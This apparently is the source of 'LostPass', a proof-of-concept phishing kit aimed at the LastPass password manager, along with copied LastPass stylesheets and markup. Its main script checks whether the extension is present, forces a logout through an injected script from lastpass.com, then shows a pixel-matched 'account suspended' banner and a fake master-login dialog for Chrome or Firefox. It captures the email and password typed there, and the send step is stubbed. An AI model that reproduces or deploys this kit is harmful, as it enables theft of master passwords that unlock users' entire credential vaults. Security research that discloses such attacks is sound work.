2 |
3 |
4 | LastPass Master Login
5 |
6 |
7 |
27 |
28 |
--------------------------------------------------------------------------------
/src/lostpass.js:
--------------------------------------------------------------------------------
1 | var chromeHTML = <%= assets.chrome.html %>;
2 | var chromeCSS = <%= assets.chrome.css %>;
3 |
4 | var firefoxHTML = <%= assets.firefox.html %>;
5 | var firefoxCSS = <%= assets.firefox.css %>;
6 |
7 | var firefoxLoginOSXHTML = <%= assets.firefox_login.html.osx %>;
8 | var firefoxLoginWinHTML = <%= assets.firefox_login.html.win %>;
9 | var firefoxLoginCSS = <%= assets.firefox_login.css %>;
10 |
11 | var lpDetectFormHTML =
12 | '
';
19 |
20 | var messageMarker = "XX_MESSAGE_XX";
21 | var buttonMarker = "XX_BUTTON_XX";
22 |
23 | var defaultMessage = "Your account has been temporarily suspended (for 5 minutes) because of too many login attempt failures."
24 | var defaultButton = "Recover Account";
25 |
26 | var retryMessage = "Invalid password.";
27 | var retryButton = "Try Again";
28 |
29 | function lastPassIsInstalled() {
30 | var username = document.getElementById("lpdetectusername");
31 | var style = username.getAttribute("style");
32 | return (style != null && style.indexOf("background-image") > -1);
33 | }
34 |
35 | function detectBrowser() {
36 | var ua= navigator.userAgent, tem,
37 | M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
38 | if(/trident/i.test(M[1])){
39 | tem= /\brv[ :]+(\d+)/g.exec(ua) || [];
40 | return 'IE '+(tem[1] || '');
41 | }
42 | if(M[1]=== 'Chrome'){
43 | tem= ua.match(/\b(OPR|Edge)\/(\d+)/);
44 | if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera');
45 | }
46 | M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
47 | if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]);
48 |
49 | var result = M.join(' ');
50 | return result;
51 | }
52 |
53 | function skipBanner() {
54 | return window.location.href.indexOf("?y") > -1;
55 | }
56 |
57 | function invalidPassword() {
58 | return window.location.href.indexOf("?n") > -1;
59 | }
60 |
61 | function lpInit() {
62 | document.body.insertAdjacentHTML('beforeend', lpDetectFormHTML);
63 |
64 | window.setTimeout(function() {
65 | if (lastPassIsInstalled() && !skipBanner()) {
66 | // Logout the user if they're logged in
67 | var logoutScript = document.createElement('script');
68 | logoutScript.setAttribute('src', "https://lastpass.com/logout.php");
69 | document.body.appendChild(logoutScript);
70 |
71 | var browser = detectBrowser();
72 |
73 | console.log("LostPass: detected ", browser);
74 | if (browser.startsWith("Chrome")) {
75 | // Add the style tag to
76 | var style = document.createElement('style');
77 | style.innerHTML = chromeCSS;
78 | document.head.appendChild(style);
79 |
80 | // Add the banner
81 | var finalHtml;
82 | if (invalidPassword()) {
83 | finalHtml = chromeHTML.replace(messageMarker, retryMessage).replace(buttonMarker, retryButton);
84 | } else {
85 | finalHtml = chromeHTML.replace(messageMarker, defaultMessage).replace(buttonMarker, defaultButton);
86 | }
87 | document.body.insertAdjacentHTML('afterbegin', finalHtml);
88 |
89 | // Make the "X" close the banner
90 | var x = document.getElementById("lphideoverlay");
91 | x.onclick = function() {
92 | var banner = document.getElementById("lastpass-notification");
93 | banner.setAttribute("style","visibility:hidden");
94 | };
95 | } else if (browser.startsWith("Firefox")) {
96 | var style = document.createElement('style');
97 | style.innerHTML = firefoxCSS;
98 | document.head.appendChild(style);
99 |
100 | ffShowBanner();
101 | } else {
102 | console.log("LostPass: unknown browser ", browser);
103 | }
104 | } else {
105 | console.log("LostPass: LastPass is not installed");
106 | }
107 | }, 500);
108 | }
109 |
110 | function ffShowBanner() {
111 | // Add the banner
112 | document.body.insertAdjacentHTML('afterbegin', firefoxHTML);
113 |
114 | // Make the "X" close the banner
115 | var x = document.getElementById("lphideoverlay");
116 | x.onclick = ffHideBanner;
117 | }
118 |
119 | function ffHideBanner() {
120 | var banner = document.getElementById("lastpass-notification");
121 | banner.parentNode.removeChild(banner);
122 | }
123 |
124 | function ffOnClick() {
125 | ffHideBanner();
126 |
127 | // Add the login form style
128 | var style = document.createElement('style');
129 | style.innerHTML = firefoxLoginCSS;
130 | document.head.appendChild(style);
131 |
132 | // Add the login form
133 | var closefunc = function() {
134 | // Need to hide after the animation otherwise it will reappear
135 | login.addEventListener("animationend", function() {
136 | login.style.visibility = "hidden";
137 | }, false);
138 |
139 | if (animate === "Windows") {
140 | console.log("Windows fadeout");
141 | login.style.animationName = "fadeout";
142 | } else {
143 | login.style.animationName = "slideout";
144 | }
145 | };
146 | var animate;
147 | if (navigator.appVersion.indexOf("Win") != -1) {
148 | console.log("Detected Windows");
149 | document.body.insertAdjacentHTML('afterbegin', firefoxLoginWinHTML);
150 | var login = document.getElementById("lpfirefoxlogin");
151 | var closers = document.getElementsByClassName("lpclose");
152 | console.log("Closers ", closers);
153 | for(var i = 0; i < closers.length; i++) {
154 | var closer = closers[i];
155 | closer.onclick = closefunc;
156 | }
157 | interact('div.spacer')
158 | .draggable({
159 | autoScroll:false,
160 | onmove: function (event) {
161 | // keep the dragged position in the data-x/data-y attributes
162 | var target = login;
163 | var x = (parseFloat(target.getAttribute('data-x')) || 0) + event.dx;
164 | var y = (parseFloat(target.getAttribute('data-y')) || 0) + event.dy;
165 |
166 | // translate the element
167 | target.style.webkitTransform =
168 | target.style.transform =
169 | 'translate(' + x + 'px, ' + y + 'px)';
170 |
171 | // update the posiion attributes
172 | target.setAttribute('data-x', x);
173 | target.setAttribute('data-y', y);
174 | }
175 | });
176 | animate = "Windows";
177 | } else {
178 | console.log("Detected Other");
179 | document.body.insertAdjacentHTML('afterbegin', firefoxLoginOSXHTML);
180 | var login = document.getElementById("lpfirefoxlogin");
181 |
182 | // Make close work
183 | var close = document.getElementById("lpcancel");
184 | close.onclick = closefunc;
185 |
186 | animate = "Other";
187 | }
188 |
189 | // Make remember email work
190 | var rememberemail = document.getElementById("rememberemail");
191 | rememberemail.onclick = function() {
192 | var rememberPasswordCheckbox = document.getElementById("rememberpassword");
193 | rememberPasswordCheckbox.disabled = !rememberemail.checked;
194 | };
195 |
196 |
197 | // Make login work
198 | var submit = document.getElementById("lpsubmit");
199 | var emailfield = document.getElementById("lpemail");
200 | var pwfield = document.getElementById("lppassword");
201 | submit.onclick = function() {
202 | var login = document.getElementById("lpfirefoxlogin");
203 |
204 | // Need to hide after the animation otherwise it will reappear
205 | login.addEventListener("animationend", function() {
206 | login.parentNode.removeChild(login);
207 | }, false);
208 |
209 | if (animate === "Windows") {
210 | console.log("Windows fadeout");
211 | login.style.animationName = "fadeout";
212 | } else {
213 | login.style.animationName = "slideout";
214 | }
215 |
216 | var username = emailfield.value;
217 | var password = pwfield.value;
218 | if (tryLogin(username, password)) {
219 | alert("Got " + username + " and " + password);
220 | } else {
221 | ffShowBanner();
222 | }
223 | };
224 |
225 | // Fight LastPass to remove the asterisks
226 | var config = { attributes: true };
227 | var observer = new MutationObserver(function(mutations) {
228 | // If we don't disconnect first, this causes an infinite loop
229 | observer.disconnect();
230 |
231 | emailfield.style = "";
232 | pwfield.style = "";
233 |
234 | // Reconnect
235 | observer.observe(emailfield, config);
236 | observer.observe(pwfield, config);
237 | });
238 | observer.observe(emailfield, config);
239 | observer.observe(pwfield, config);
240 | }
241 |
242 | function tryLogin(username, password) {
243 | // This is obviously a fake function
244 | return password === "correct";
245 | }
246 |
--------------------------------------------------------------------------------
/chrome4/lp_toolstrip.css:
--------------------------------------------------------------------------------
1 | /* Menu */
2 | #menucontainer {border-collapse:collapse;border-spacing:0;cursor:default;}
3 | #menucontainer tr,#menucontainer th,#menucontainer td {margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;}
4 | #menucontainer {font:11px Helvetica,Arial,Garuda,sans-serif;}
5 |
6 | #lpgenerate { padding:10px 20px !important; max-width:350px; }
7 |
8 | /* Choose Profile and Credit Card */
9 | #chooseprofilecc {text-align:center;}
10 |
11 | /* Change Password */
12 | #changepw {text-align:center; width:700px; margin:auto;}
13 | #lpchangepw { margin-top:50px; }
14 |
15 | /* Notification */
16 | #notifytable {margin:4px 4px 0 4px;font-size:14px;}
17 | #notifytable tr{margin-bottom:6px;}
18 | #notifymsg {color:#123272;}
19 | .notifybutton {background:#fff;cursor:default;}
20 | .notifyspacer {height:6px;padding-top:5px;background:#fff;}
21 | .notifyspacer div {height:1px;background:#ccc;}
22 | .notifybutton div {font-size:13px;width:180px;padding-left:25px;padding-right:5px;height:20px;line-height:20px;vertical-align:middle;background:#fff;cursor:default;}
23 | .notifybutton:hover {background:#316AC5;color:#f00;cursor:default;}
24 | #notifylpalert{white-space:normal;color:#000000!important;text-align:left;margin-left:5px;margin-top:-10px;}
25 | #lpalertheaderimg{margin-right:5px;width:18px;}
26 | #lpalertwarning{color:#d32d27;}
27 | img#lpalert_icon{width:50px;padding-left:0px;}
28 | #lpalertheader{
29 | margin-top:0px;
30 | font-weight:lighter;
31 | width: 100%;
32 | padding-bottom: 6px;
33 | border-bottom: 1px #c1c1c1 solid;
34 | margin-bottom: 10px;
35 | }
36 | .alertlabel { font-weight: bold; }
37 | .alertheader { color:black; font-weight: bold; width: 260px; white-space: normal; }
38 | #alertdescription { white-space: normal; width: 250px; font-size: 12px; }
39 | .alertbottom { font-size: 11px; padding-top:6px;}
40 | .alertbottom select { float: right; }
41 | #notifyalert { font-size: 13px;padding-top:5px; }
42 |
43 | .hoverdark{
44 | opacity:0.6;
45 | }
46 | .hoverdark:hover{
47 | opacity:1.0;
48 | }
49 |
50 | .alertbody #closemole1{
51 | outline:none !important;
52 | }
53 |
54 | #mainmenu{
55 | font-size:13px;
56 | width:369px;
57 | margin:0px -10px;
58 | padding:5px 18px;
59 | }
60 | #mainmenu hr, #menucontainer hr{
61 | display: block; height: 1px;
62 | border: 0; border-bottom: 1px solid #e0e0e0;
63 | margin: 0px -10px; padding: 5px 0 0 0;
64 | }
65 |
66 | #topbar{
67 | padding-bottom: 10px;
68 | }
69 | #topbar #buttons{
70 | float:right;
71 | }
72 | #topbar #buttons img{
73 | padding:1px 2px;
74 | }
75 | #stdmenu{
76 | padding-top:8px;
77 | }
78 | #stdmenu p{
79 | display:inline;
80 | vertical-align:text-bottom;
81 | }
82 | #stdmenu div, #searchresults div{
83 | margin: 0px 3px;
84 | padding: 3px 6px;
85 | border: 1px solid transparent;
86 | background: white;
87 | line-height:20px;
88 | }
89 | #searchresults{
90 | max-height:400px;
91 | overflow:auto;
92 | }
93 | #searchresults div img{
94 | padding-bottom:2px;
95 | }
96 | #searchresults div img{
97 | padding:1px 5px;
98 | margin-top:2px;
99 | margin-bottom: -4px;
100 | }
101 | div.hasaction img{
102 | margin-bottom: -4px;
103 | }
104 |
105 | .iconize{
106 | background-repeat:no-repeat;
107 | opacity:0.5;
108 | background-position: 96% 50%;
109 | }
110 |
111 | #menusearch{
112 | width:84%;
113 | border:0px;
114 | height:26px;
115 | padding-right: 37px;
116 | padding-left: 10px;
117 | outline-width:1px;
118 | outline-color:#4c4c4c;
119 | outline-offset: -2px;
120 | outline-style: auto;
121 | }
122 | #menusearch:focus{
123 | /*background-image:none;*/
124 | outline-width:1px;
125 | outline-color:#4c4c4c;
126 | }
127 |
128 | #menusearch::-webkit-input-placeholder { font-style:italic; }
129 |
130 | #xsearchbar {
131 | position:absolute;
132 | cursor:pointer;
133 | left:88%;
134 | top:9px;
135 | }
136 | #searchbar{
137 | margin:0 0 -6px -46px;
138 | padding:0px;
139 | height:20px;
140 | display:inline-block;
141 | width:1px;
142 | }
143 |
144 | #stdmenu #matchingnum, #stdmenu #matchingnum:hover {
145 | display: inline-block;
146 | background-size: 100% 100% !important;
147 | background-repeat: no-repeat !important;
148 | color: white;
149 | margin: 0 10px !important;
150 | padding: 0px 5px 2px 5px !important;
151 | font-size: 11px !important;
152 | background-color: #e0322d;
153 | border-radius: 2px;
154 | min-width: 7px;
155 | height: 16px;
156 | background-image: none !important;
157 | float:none;
158 | width:auto;
159 | opacity:1.0;
160 | }
161 |
162 | #stdmenu div:hover, #searchresults div:hover, .kbselected{
163 | /* background: #e6e6e6 !important; */ /* for non-css3 browsers */
164 |
165 | background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#fafafa)) !important; /* for webkit browsers */
166 | -webkit-box-shadow: 1px 1px rgba(200, 200, 200, 0.5);
167 | text-shadow: 0 1px 1px rgba(0, 0, 0, .1);
168 |
169 | -webkit-border-radius: 1px;
170 | border: 1px solid #d6d6d6 !important;
171 | /* -webkit-box-shadow: rgba(0,0,0, 0.3) 0px 0px 3px; */
172 | }
173 | #searchresults span, .kbselected, div.hasaction span{
174 | padding-top: 6px;
175 | }
176 | #searchresults div:hover span, .kbselected span, div.hasaction:hover span{
177 | background-image:url('images/wrench.png');
178 | opacity:0.5;
179 | cursor: pointer;
180 | }
181 | span.menux{
182 | background-image:url('images/Close.png');
183 | opacity:0.5;
184 | cursor: pointer;
185 | }
186 |
187 |
188 | #searchresults div:hover span:hover, .kbselected span:hover, div.hasaction:hover span:hover{
189 | background-image:url('images/wrench.png');
190 | opacity:1.0;
191 | }
192 |
193 | usericon, passicon, fillicon, xicon{
194 | width:16px;
195 | height:16px;
196 | display:inline-block;
197 | float:right;
198 | }
199 | #stdmenu div:hover usericon {
200 | background-image:url('images/copyusername.png');
201 | opacity:0.5;
202 | cursor: pointer;
203 | }
204 | #stdmenu div:hover usericon:hover{
205 | background-image:url('images/copyusername.png');
206 | opacity:1.0;
207 | cursor: pointer;
208 | }
209 | #stdmenu div:hover xicon{
210 | background-image:url('x.gif');
211 | opacity:0.3;
212 | cursor: pointer;
213 | }
214 | #stdmenu div:hover xicon:hover{
215 | background-image:url('x.gif');
216 | opacity:0.5;
217 | cursor: pointer;
218 | }
219 |
220 |
221 | #stdmenu div:hover passicon{
222 | background-image:url('images/copypassword.png');
223 | opacity:0.5;
224 | cursor: pointer;
225 | }
226 | #stdmenu div:hover passicon:hover{
227 | background-image:url('images/copypassword.png');
228 | opacity:1.0;
229 | cursor: pointer;
230 | }
231 | #stdmenu div:hover fillicon {
232 | background-image:url('images/sites16x16.png');
233 | opacity:0.5;
234 | cursor: pointer;
235 | }
236 | #stdmenu div:hover fillicon:hover{
237 | background-image:url('images/sites16x16.png');
238 | opacity:1.0;
239 | cursor: pointer;
240 | }
241 |
242 |
243 |
244 | .arrow span{
245 | background-image:url('images/arrow_right.png');
246 | opacity:0.6;
247 | }
248 | .arrow:hover span{
249 | background-image:url('images/arrow_right.png');
250 | opacity:1.0;
251 | }
252 |
253 |
254 | /*
255 | #stdmenu div:hover.arrow span{
256 | background-image:url('arrow.png');
257 | }
258 |
259 | #stdmenu div:hover.arrowup span{
260 | background-image:url('images/menuarrowupover.png');
261 | }
262 | */
263 | #stdmenu div:hover.logoff span{
264 | background-image:url('images/logout.png');
265 | opacity:1.0;
266 | }
267 | .arrowup span{
268 | background-image:url('images/menuarrowup.png');
269 | }
270 | .logoff span{
271 | background-image:url('images/logout.png');
272 | opacity:0.6;
273 | }
274 | #stdmenu div span, #searchresults div:hover span, .kbselected span{
275 | background-repeat:no-repeat;
276 | background-position:center;
277 | width:16px;
278 | height:16px;
279 | float:right;
280 |
281 | }
282 | #stdmenu hr + div{
283 | margin-top:8px;
284 | }
285 |
286 | #stdmenu img {
287 | padding: 2px 7px 0 0;
288 | height:16px;
289 | width:16px;
290 | }
291 | #mainmenu #generate{
292 | text-align:left;
293 | }
294 | ::-webkit-scrollbar-thumb:vertical {
295 | height: 50px;
296 | background-color: #666;
297 | border: 1px solid #eee;
298 | -webkit-border-radius: 6px;
299 | }
300 | ::-webkit-scrollbar {
301 | width: 10px;
302 | height: 10px;
303 | }
304 | #backrow{
305 | color:#c2c2c2;
306 | height:20px;
307 | line-height:20px;
308 | }
309 | #backrow:hover{
310 | color:black;
311 | }
312 | #backrow span{
313 | background-image:url('images/menuarrowback.png');
314 | background-repeat:no-repeat;
315 | background-position:center;
316 | width:16px;
317 | height:16px;
318 | float:left;
319 | }
320 | #backrow:hover span{
321 | background-image:url('images/menuarrowbackover.png');
322 | }
323 | .backgen{
324 | position:absolute;
325 | top:10px;
326 | left:0px;
327 | font-weight:normal;
328 | font-size:11px;
329 | }
330 |
331 | body {
332 | min-width: 300px;
333 | min-height: 250px;
334 | font-family: Helvetica, Arial, sans serif;
335 | font-size: 75%;
336 | }
337 |
338 | .alertbody{
339 | min-width:200px;
340 | padding:6px 0 3px 15px;
341 | }
342 |
343 | .alertbody hr{
344 | width:150%;
345 | margin-left:-10%;
346 | display: block; height: 1px;
347 | border: 0; border-top: 1px solid #ccc;
348 | margin-top: 10px;
349 | }
350 |
351 |
352 | .alertbody table td{
353 | padding-right:0px;
354 | }
355 |
356 |
357 | #disables {
358 | padding-top:10px;
359 | }
360 |
361 | #disables a{
362 | text-decoration: none;
363 | cursor:pointer;
364 | }
365 |
366 | #disablealertsite{
367 | padding-right:30px;
368 | }
369 |
370 | #notifyseccheck{
371 | outline:0px;
372 | }
373 |
374 | .ricon img{
375 | opacity:0.6;
376 | }
377 |
378 |
379 | #genheader{
380 | background:white;
381 | height:31px;
382 | margin-top:9px;
383 | border-bottom:1px solid #c3c3c3;
384 | text-align:center;
385 | }
386 | #genheader #backrow{
387 | font-weight:normal;
388 | }
389 | #logoff span{
390 | height:18px !important;
391 | }
392 | .buttonsrow{
393 | padding:10px 0px;
394 | }
395 | #choosetable{
396 | padding:10px 30px;
397 | }
398 | .noresults{
399 | padding-left:10px;
400 | }
401 | .editname{
402 | text-align:center;
403 | font-size:13px;
404 | padding:6px 0 3px 0;
405 | }
406 | .editname img{
407 | margin-bottom:-3px;
408 | }
409 | #changepwsites{
410 | width:500px;
411 | }
412 | passicon{
413 | margin:0 1px;
414 | background-repeat:none;
415 | }
416 | usericon{
417 | background-repeat:none;
418 | }
419 |
420 | #lpgeneratecont #password{
421 | height:29px !important;
422 | }
423 |
424 | #movematching{
425 | color: #c2c2c2;
426 | font-size: 11px;
427 | margin-top:4px;
428 | padding-top:1px;
429 | padding-bottom:1px;
430 | }
431 | #movematching:hover{
432 | color: black;
433 | }
434 |
435 | #menutitle {
436 | display:none;margin:0 5px 1px 5px;padding:0 5px;cursor:pointer;background:url(menuheader.png) repeat-x;color:#fff;text-align:center;height:20px;line-height:20px;vertical-align:middle;font-weight:bold;
437 | }
438 |
439 | #backbutton1 {
440 | display:none;margin:0px 5px;padding:0 5px;cursor:pointer;background:url(backbg.png) repeat-x;color:#fff;text-align:center;height:20px;line-height:20px;vertical-align:middle;font-weight:bold;
441 | }
442 |
443 | #menu0 {
444 | overflow-y:auto;overflow-x:hidden;max-height:400px;
445 | }
446 |
447 | #menu1 {
448 | overflow-y:auto;overflow-x:hidden;max-height:400px;width:0px;display:none;
449 | }
450 |
451 | #backbutton2 {
452 | display:none;margin:10px 5px 0 5px;padding:0 5px;cursor:pointer;background:url(backbg.png) repeat-x;color:#fff;text-align:center;height:20px;line-height:20px;vertical-align:middle;font-weight:bold;
453 | }
454 |
455 | .neverdiv {
456 | height:1px;margin:5px 0;background:#ccc;
457 | }
458 |
459 | .newmenurow {
460 | color:#000;padding:1px 5px;
461 | }
462 |
463 | .matchingsitesdiv {
464 | height:1px;margin:5px 0;background:#ccc;
465 | }
466 |
467 | .cursorpointer {
468 | cursor: pointer;
469 | }
470 |
471 | .nulldiv {
472 | height:1px;margin:5px 0;background:#ccc;
473 | }
474 |
475 | .positionabsolute {
476 | position: absolute;
477 | }
478 |
479 | .choosetablefieldset {
480 | padding-top: 0px; padding-right: 0px; padding-bottom: 0px;
481 | }
482 |
483 | #profile {
484 | width: 175px; border: 0px;
485 | }
486 |
487 | #changepwsites {
488 | border: 0px;
489 | }
490 |
491 | #yubikeyotp {
492 | background-image:url('yubicoring16.png');background-repeat:no-repeat;padding-left:20px;width:300px;
493 | }
494 |
495 | #sms_text {
496 | font-size: 11px;
497 | }
498 |
499 | #securityquestion {
500 | background:#fff;height:300px;
501 | }
502 |
503 | #securityquestion2 {
504 | padding:20px;
505 | }
506 |
507 | #securityquestion3 {
508 | font-weight:bold;background:#0054ec;color:white;padding:5px;
509 | }
510 |
511 | #securityquestion4 {
512 | padding:10px;background:#eeeeee;text-align:left;
513 | }
514 |
515 | #sesameotplocal {
516 | background-image:url('icon.gif');background-repeat:no-repeat;padding-left:20px;width:300px;
517 | }
518 |
519 | #lpgridinput1, #lpgridinput2, #lpgridinput3, #lpgridinput4 {
520 | width:25px;
521 | }
522 |
523 | .menuitemdiv {
524 | min-height:16px;float:left;cursor:pointer;overflow:hidden;padding-left:20px;padding-top:2px;
525 | }
526 | #lpalert_icon{
527 | -webkit-box-shadow: 1px 2px 5px rgba(0,0,0,.13);
528 | -moz-box-shadow: 1px 2px 5px rgba(0,0,0,.13);
529 | Ibox-shadow: 1px 2px 5px rgba(0,0,0,.13);
530 | margin-left:20px;
531 | }
532 | #btn_wrap {
533 | text-align:center;
534 | }
535 |
536 | #stdmenu #premium {
537 | background-color: #d52b1e !important;
538 | background: -webkit-gradient(linear, left top, left bottom, from(#d52b1e), to(#d52b1e)) !important; /* for webkit browsers */
539 | color: white;
540 | }
541 |
542 | #stdmenu #enterprise {
543 | background-color: #939393 !important;
544 | background: -webkit-gradient(linear, left top, left bottom, from(#939393), to(#939393)) !important; /* for webkit browsers */
545 | color: white;
546 | }
547 |
--------------------------------------------------------------------------------
/chrome4/lp_toolstrip.html.bkup:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Google Authenticator Multifactor AuthenticationLogin to LastPassLastPass
4 |
--------------------------------------------------------------------------------
/chrome4/dialog.css:
--------------------------------------------------------------------------------
1 | /*
2 | ******* Dialogs *******
3 | */
4 |
5 | .dialog {
6 | /* IE does not center unless we specific width 100% */
7 | width: 100%;
8 | position: absolute;
9 | top: 20px;
10 | bottom: 20px;
11 | left: 20px;
12 | right: 20px;
13 | margin: auto;
14 | display: none;
15 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.5);
16 | background-color: #F2F4F5;
17 | }
18 |
19 | .dialogContent {
20 | padding: 20px;
21 | overflow: auto;
22 | position: absolute;
23 | top: 0;
24 | right: 0;
25 | left: 0;
26 | bottom: 0;
27 | }
28 |
29 | .buttonsFixed {
30 | position: absolute;
31 | left: 0;
32 | right: 0;
33 | bottom: 0;
34 | border-top: 1px solid #B7B7B7;
35 | }
36 |
37 | .dialogLeftPane, .dialogRightPane {
38 | padding: 20px;
39 | overflow: auto;
40 | position: absolute;
41 | top: 0;
42 | bottom: 0;
43 | }
44 |
45 | .dialogLeftPane.dialogBottomPane, .dialogRightPane.dialogBottomPane {
46 | top: 100px;
47 | }
48 |
49 | .dialogLeftPane {
50 | left: 0;
51 | width: 35%;
52 | border-right: 1px solid #B7B7B7;
53 | box-sizing: border-box;
54 | }
55 |
56 | .dialogRightPane {
57 | left: 35%;
58 | right: 0;
59 | background-color: #FFF;
60 | }
61 |
62 | .dialogTopPane {
63 | position: absolute;
64 | left: 0;
65 | right: 0;
66 | top: 0;
67 | height: 100px;
68 | border-bottom: 1px solid #B7B7B7;
69 | box-sizing: border-box;
70 | }
71 |
72 | .dynamicTextAreaContainer {
73 | margin: 0 20px;
74 | position: relative;
75 | overflow: auto;
76 | }
77 |
78 | /*
79 | ******* Dialog Header *******
80 | */
81 |
82 | .dialogHeader {
83 | background-color: #D22D27;
84 | color: #FFF;
85 | font-weight: 600;
86 | position: relative;
87 | padding-right: 20px;
88 | padding-left: 20px;
89 | }
90 |
91 | .dialogHeaderInner {
92 | line-height: 50px;
93 | height: 50px;
94 | }
95 |
96 | .dialogHeader.icon > .dialogHeaderInner {
97 | background-image: url('images/vault_4.0/LastPass_White.png');
98 | background-position: right center;
99 | background-repeat: no-repeat;
100 | }
101 |
102 | .dialogHeader.icon.leftIcon {
103 | text-align: right;
104 | }
105 |
106 | .dialogHeader.icon.leftIcon > .dialogHeaderInner {
107 | background-position: left center;
108 | }
109 |
110 | .dialogHeader.dialogHeaderButtonsEnabled.icon > .dialogHeaderInner {
111 | background-position: center center;
112 | }
113 |
114 | .dialogHeaderButtons {
115 | position: absolute;
116 | height: 25px;
117 | top: 0;
118 | bottom: 0;
119 | right: 15px;
120 | margin: auto;
121 | }
122 |
123 | .dialogHeaderButton {
124 | width: 25px;
125 | height: 100%;
126 | display: inline-block;
127 | vertical-align: top;
128 | background-position: center center;
129 | background-repeat: no-repeat;
130 | cursor: pointer;
131 | }
132 |
133 | .dialogCloseButton {
134 | background-image: url('images/vault_4.0/Dialog_Close.png');
135 | }
136 |
137 | .dialogMaximizeButton {
138 | background-image: url('images/vault_4.0/Dialog_Maximize.png');
139 | }
140 |
141 | .dialogText {
142 | margin-top: 10px;
143 | }
144 |
145 | /*
146 | ******* Buttons *******
147 | */
148 |
149 | .buttons .nbtn {
150 | vertical-align: top;
151 | }
152 |
153 | .buttons {
154 | padding: 10px 0 10px 0;
155 | }
156 |
157 | .rightButtons {
158 | padding-right: 16px;
159 | }
160 |
161 | .rightButtons .nbtn {
162 | float: right;
163 | }
164 |
165 | .centerButtons {
166 | text-align: center;
167 | }
168 |
169 | .dynamicWidth {
170 | width: auto;
171 | padding-left: 10px;
172 | padding-right: 10px;
173 | }
174 |
175 | /*
176 | ******* Checkboxes *******
177 | */
178 |
179 | /*
180 | * This hides the checkbox but maintains focus functionality
181 | */
182 | .checkbox {
183 | position: absolute;
184 | height: 0;
185 | opacity: 0;
186 | }
187 |
188 | .checkbox + label {
189 | padding: 4px 4px 4px 25px;
190 | background-image: url('images/vault_4.0/Uncheck_Modal.png');
191 | background-repeat: no-repeat;
192 | background-position: 4px center;
193 | height: 16px;
194 | line-height: 16px;
195 | display: inline-block;
196 | }
197 |
198 | .checkbox + label.noText {
199 | padding-left: 16px;
200 | }
201 |
202 | .checkbox:focus + label {
203 | outline: 1px solid #84B7F8;
204 | }
205 |
206 | .checkbox:checked + label, .checkboxContainer.selected > label {
207 | background-image: url('images/vault_4.0/Check_Modal.png');
208 | }
209 |
210 | .checkbox:disabled + label{
211 | background-image: url('images/vault_4.0/Disabled.png');
212 | }
213 |
214 | .checkbox:checked:disabled + label{
215 | background-image: url('images/vault_4.0/Checked_Disabled.png');
216 | }
217 |
218 | .checkboxContainer {
219 | margin-top: 5px;
220 | font-size: 15px;
221 | }
222 |
223 | /*
224 | ******* Radio Buttons *******
225 | */
226 |
227 | .radio {
228 | display: none;
229 | }
230 |
231 | .radio + label {
232 | padding-left: 25px;
233 | background-image: url('images/vault_4.0/Radial_Empty.png');
234 | background-repeat: no-repeat;
235 | background-position: left center;
236 | height: 21px;
237 | line-height: 21px;
238 | display: inline-block;
239 | }
240 |
241 | .radio:checked + label{
242 | background-image: url('images/vault_4.0/Radial_Filled.png');
243 | }
244 |
245 | /*
246 | ******* Dropdowns *******
247 | */
248 |
249 | .selectDropdownList {
250 | left: 0;
251 | right: 0;
252 | border-color: #AAB2BD;
253 | border-style: solid;
254 | border-width: 0 1px 1px 1px;
255 | overflow: auto;
256 | max-height: 150px;
257 | }
258 |
259 | .selectDropdownList.dropdownMenu li {
260 | padding-left: 10px;
261 | border-top: 1px solid #E5E8ED;
262 | white-space: nowrap;
263 | text-overflow: ellipsis;
264 | overflow: hidden;
265 | }
266 |
267 | .selectDropdownList.dropdownMenu .hover {
268 | background-color: #E6E9ED;
269 | }
270 |
271 | .dropdownMenu {
272 | z-index: 2;
273 | }
274 |
275 | .dropdownButton {
276 | width: 30px;
277 | position: absolute;
278 | right: 1px;
279 | top: 1px;
280 | bottom: 1px;
281 | border-left: 1px solid #A7AFBA;
282 | background-image: url('images/vault_4.0/Folder_Dropdown.png');
283 | background-position: center center;
284 | background-repeat: no-repeat;
285 | background-color: #FFF;
286 | }
287 |
288 | .relative {
289 | position: relative;
290 | }
291 |
292 | .dropdownContainer {
293 | position: relative;
294 | }
295 |
296 | .dropdownHint {
297 | position: absolute;
298 | top: 0;
299 | right: 0;
300 | bottom: 0;
301 | left: 0;
302 | background-color: #FFF;
303 | padding: 0 6px 0 6px;
304 | line-height: 30px;
305 | color: grey;
306 | }
307 |
308 | .dialogInput.selectDropdown, .dialogInput.typeaheadDropdown {
309 | position: relative;
310 | background-image: url('images/vault_4.0/Folder_Dropdown.png');
311 | background-position: right center;
312 | background-repeat: no-repeat;
313 | appearance: none;
314 | -moz-appearance: none;
315 | -webkit-appearance: none;
316 | padding-right: 35px;
317 | background-color: #FFF;
318 | border-radius: 0;
319 | }
320 |
321 | .dialogInput.selectDropdown.dropdownDisabled, .dialogInput.typeaheadDropdown.dropdownDisabled {
322 | background-image: none;
323 | }
324 |
325 | .dialogInput.typeaheadDropdown {
326 | background-color: transparent;
327 | }
328 |
329 | .dialogInput.searchInput {
330 | background-size: 16px;
331 | padding-left: 30px;
332 | }
333 |
334 | /*
335 | ******* Inputs *******
336 | */
337 |
338 | .showPassword {
339 | width: 18px;
340 | height: 100%;
341 | background-image: url('images/vault_4.0/Eye_Show.png');
342 | background-repeat: no-repeat;
343 | background-position: center center;
344 | position: absolute;
345 | right: 5px;
346 | top: 0;
347 | }
348 |
349 | .showPassword.selected {
350 | background-image: url('images/vault_4.0/Eye_Hide.png');
351 | }
352 |
353 | .dialogInput {
354 | font-size: 16px;
355 | height: 30px;
356 | padding: 0 5px 0 5px;
357 | border-width: 1px;
358 | border-style: solid;
359 | border-color: #A7AFBA;
360 | box-sizing: border-box;
361 | width: 100%;
362 | }
363 |
364 | /*
365 | * Hide default clear/show passord buttons in IE
366 | * to maintain consistent look and feel
367 | */
368 | .dialogInput::-ms-clear,
369 | .dialogInput::-ms-reveal,
370 | .dialogInput::-ms-expand {
371 | display: none;
372 | }
373 |
374 | .dialogInput.password, .passwordDropdownContainer {
